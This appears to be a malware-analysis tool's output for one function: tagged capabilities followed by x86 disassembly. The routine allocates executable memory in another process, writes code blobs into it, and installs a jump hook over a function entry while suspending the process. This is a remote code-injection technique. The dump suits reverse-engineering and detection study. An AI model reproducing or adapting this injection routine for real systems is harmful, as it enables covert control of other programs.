Function at 0x54298c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe0
mov dword [esp], eax
push 0x542c1c
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x542c2c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x14], eax
push 0x542c3c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 0x18], eax
push 0x542c4c
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x542c58
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov edi, eax
mov esi, dword [esp]
lea eax, [esp + 4]
push eax
push 5
lea eax, [esp + 0x14]
push eax
push edi
push esi
mov eax, dword [0x558308]
mov eax, dword [eax]
call eax
mov al, byte [esp + 0xc]
cmp al, 0xe9
je 0x542c15
cmp al, 0x8b
jne 0x542c15
lea eax, [esp + 4]
push eax
push 0x40
push 0xa
push edi
push esi
call sub.kernel32.dll_VirtualProtectEx
push 0x40
push 0x1000
push 0x1000
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [esp + 8], eax
mov ebx, dword [esp + 8]
mov dword [esp + 0x1c], 0x542690
lea eax, [esp + 4]
push eax
push 0x500
mov eax, dword [esp + 0x24]
push eax
push ebx
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c64
mov ecx, 0x32
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542a84
lea edx, [esp + 4]
push edx
push 4
lea edx, [esp + 0x1c]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c6c
mov ecx, 0x32
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542ab4
lea edx, [esp + 4]
push edx
push 4
lea edx, [esp + 0x20]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov ebx, dword [esp + 8]
add ebx, 0x200
mov dword [esp + 0x1c], 0x5427b0
lea eax, [esp + 4]
push eax
push 0xdac
mov eax, dword [esp + 0x24]
push eax
push ebx
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c64
mov ecx, 0x32
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542b10
lea edx, [esp + 4]
push edx
push 4
lea edx, [esp + 0x1c]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c6c
mov ecx, 0x32
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542b40
lea edx, [esp + 4]
push edx
push 4
lea edx, [esp + 0x20]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c74
mov ecx, 0x32
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542b70
lea edx, [esp + 4]
push edx
push 5
lea edx, [esp + 0x14]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov edx, 0x542c7c
mov ecx, 0xc8
mov eax, dword [esp + 0x1c]
call fcn.00542f54
mov edx, dword [esp + 8]
mov dword [esp + 0xd], edx
test eax, eax
je 0x542ba8
lea edx, [esp + 4]
push edx
push 4
lea edx, [esp + 0x15]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov byte [esp + 0xc], 0xe9
mov eax, ebx
sub eax, edi
sub eax, 5
mov dword [esp + 0xd], eax
mov edx, 0x542c84
mov ecx, 0x96
mov eax, dword [esp + 0x1c]
call fcn.00542f54
test eax, eax
je 0x542be8
lea edx, [esp + 4]
push edx
push 5
lea edx, [esp + 0x14]
push edx
add eax, ebx
push eax
push esi
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov eax, dword [esp]
push eax
call sub.ntdll.dll_NtSuspendProcess
lea eax, [esp + 4]
push eax
push 5
lea eax, [esp + 0x14]
push eax
push edi
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [0x557f44]
mov eax, dword [eax]
call eax
mov eax, dword [esp]
push eax
call sub.ntdll.dll_NtResumeProcess
add esp, 0x20
pop edi
pop esi
pop ebx
ret